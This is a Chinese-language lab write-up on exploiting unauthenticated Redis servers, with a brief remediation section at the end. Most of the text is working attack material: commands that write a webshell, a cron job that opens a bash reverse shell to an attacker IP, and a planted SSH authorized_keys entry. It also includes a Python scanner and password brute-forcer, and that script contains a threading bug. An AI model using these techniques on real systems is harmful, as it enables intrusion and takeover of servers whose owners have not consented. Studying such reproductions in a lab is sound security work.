一、漏洞描述

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

二、漏洞特征

开放6379端口,可尝试免密登录

漏洞版本:Redis 2.x,3.x,4.x,5.x

redis-cli -h x.x.x.x

redis-cli -h x.x.x.x -p 6379

三、漏洞复现

环境搭建

攻击机:Kali2020.1

靶机:Ubuntu20 + Redis2.8.17

1、下载环境

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

2、解压并进入安装目录

tar xzf redis-2.8.17.tar.gz
make

报错:

gcc: Command not found

解决:安装gcc

apt install gcc

清理编译文件,重新编译

make distclean  && make

3、

拷贝关键文件

cp redis.conf /etc/
cd src
cp redis-benchmark redis-cli redis-server /usr/bin/

4、启动

./redis-server		#src目录

image-20210809162755821

漏洞复现

无密码登录

redis-cli -h 192.168.24.79		#登录

image-20210809162803617

登陆成功

写webshell

前提:登陆成功、知道路径(phpinfo或错误暴路径等)、读写权限等

因为没有搭建网站环境,这里写在用户根目录

config set dir /home/chen/
config set dbfilename redis.php
set webshell "<?php phpinfo();?>"

set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save

image-20210809162814551

靶机成功写入

image-20210809162823433

定时反弹shell

需要管理员权限

nc -lvnp 4444		# 攻击机开启监听

# 连接redis,写定时反弹shell
redis-cli -h 192.168.24.79
config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.24.82/4444 0>&1\n\n" #每分钟执行一次反弹连接
save

image-20210809162930370

注意!

1、Ubuntu系统需要以管理员权限更改/bin下的软链接指向

ln -s -f bash /bin/sh		# 定时任务bash为dash,无交互功能

2、Ubuntu下定时任务乱码则不执行,需手动删除乱码

3、redis远程连接创建定时任务权限为644,但是定时任务权限需要为600才可执行

chmod 600 root

解决以上坑点,成功反弹shell

image-20210809162939325

但是这样意义不大,据说centos无以上坑点。

ssh登录

1、攻击机生成ssh密钥(空密码)

ssh-keygen -t rsa		# 全部回车
cd .ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt # 写入公钥

2、设置redis变量

cat ./key.txt | redis-cli -h 192.168.24.79 -x set tide		# 将公钥内容设置给redis变量(靶机ip)

3、连接redis并写入

redis-cli -h 192.168.24.79
config set dir /root/.ssh # 默认公私钥路径
config set dbfilename authorized_keys # 写入authorized_keys
save

4、检查靶机文件是否写入–已写入(同样带有乱码)

image-20210809162954548

5、攻击机进行ssh连接

ssh -o StrictHostKeyChecking=no 192.168.24.79		# 首次连接需要加-o StrictHostKeyChecking=no

image-20210809163005569

连接成功

(注:靶机需要安装ssh服务并关闭防火墙,或者允许22端口通过防火墙)

附Ubuntu安装ssh

sudo apt-get install openssh-server		# 安装ssh
sudo /etc/init.d/ssh start # 开启ssh
ufw allow 22/tcp # 允许通过防火墙

sudo ufw disable # 不建议

主从复制

redis:4.x - redis:5.0.5版本漏洞,redis开启主从复制,主从数据相同,主redis只写,从redis只读,从而减小服务器压力。在Redis 4.x之后,Redis新增了模块功能,通过外部拓展,可以在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so恶意文件,就可以拓展新命令。

到这里懒癌犯了,不想搭环境了,附上脚本下载链接,直接过,遇到回头再来。

https://github.com/n0b0dyCN/redis-rogue-server

这里还有个内网redis利用姿势–gopher协议,一并懒过去。

暴力破解

感觉这个比较实用,弱口令yyds!

准备:

打开redis.conf配置文件,找到requirepass,去掉注释,修改后面的参数,即为密码

image-20210809163040446

密码登录

redis-cli -h 192.168.24.79 -a password

以上,开始编写Python脚本

#!/usr/bin/python
# -*- coding:utf-8 -*-

"""
描述:redis未授权访问探测 + 密码爆破
author: chen
date: 2021-07-03
"""


import socket
import sys
import threading
import queue
import os


def poc():
global flag
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
# 发送INFO,如果无密码则返回服务器信息,包含版本信息;如果有密码,则返回“-NOAUTH Authentication required”
s.send('INFO\r\n'.encode('utf-8'))
result = s.recv(1024).decode('utf-8')
if "redis_version" in result:
print("存在redis未授权访问漏洞!")
flag = True
elif "Authentication" in result:
flag = False
else:
print("未知错误")
flag = None
s.close()


def burst():
while not q.empty():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
_pass = q.get()
msg = "AUTH " + _pass + "\r\n" # AUTH pass 为redis密码格式
s.send(msg.encode('utf-8'))
result = s.recv(1024).decode('utf-8')
if '+OK' in result:
print("存在弱口令,密码为%s" % _pass)
exit()


if __name__ == '__main__':
if len(sys.argv) != 5:
print("请按照格式输出:\n")
print("redis.py 10.10.10.10 6379 字典名 线程数 \n")

flag = True
q = queue.Queue()

ip = sys.argv[1]
port = int(sys.argv[2])
dic = sys.argv[3]
thread = sys.argv[4]

poc()

if flag:
exit()
else:
path = os.path.dirname(os.path.realpath(__file__)) # 获取当前脚本目录
for i in open(path + '/' + dic):
q.put(i.strip()) # 清洗字符,去掉头尾的换行和空格
for i in range(int(thread)):
t = threading.Thread(target=burst(), daemon=True)
t.start()

while True:
pass

结果:

空密码:

image-20210809163058335

设置密码

image-20210809163105143

————————————————————————————————————————————————————————————

修改脚本,链接:

Pocsuite3重写redis脚本 (zerochen.top)

四、修复

指定ip登录

在redis.conf文件找到# bind 127.0.0.1,去掉注释,修改为指定的登录ip

缺点:多点登陆失效。

增加密码

打开redis.conf配置文件,找到requirepass,去掉注释,修改后面的参数,即为密码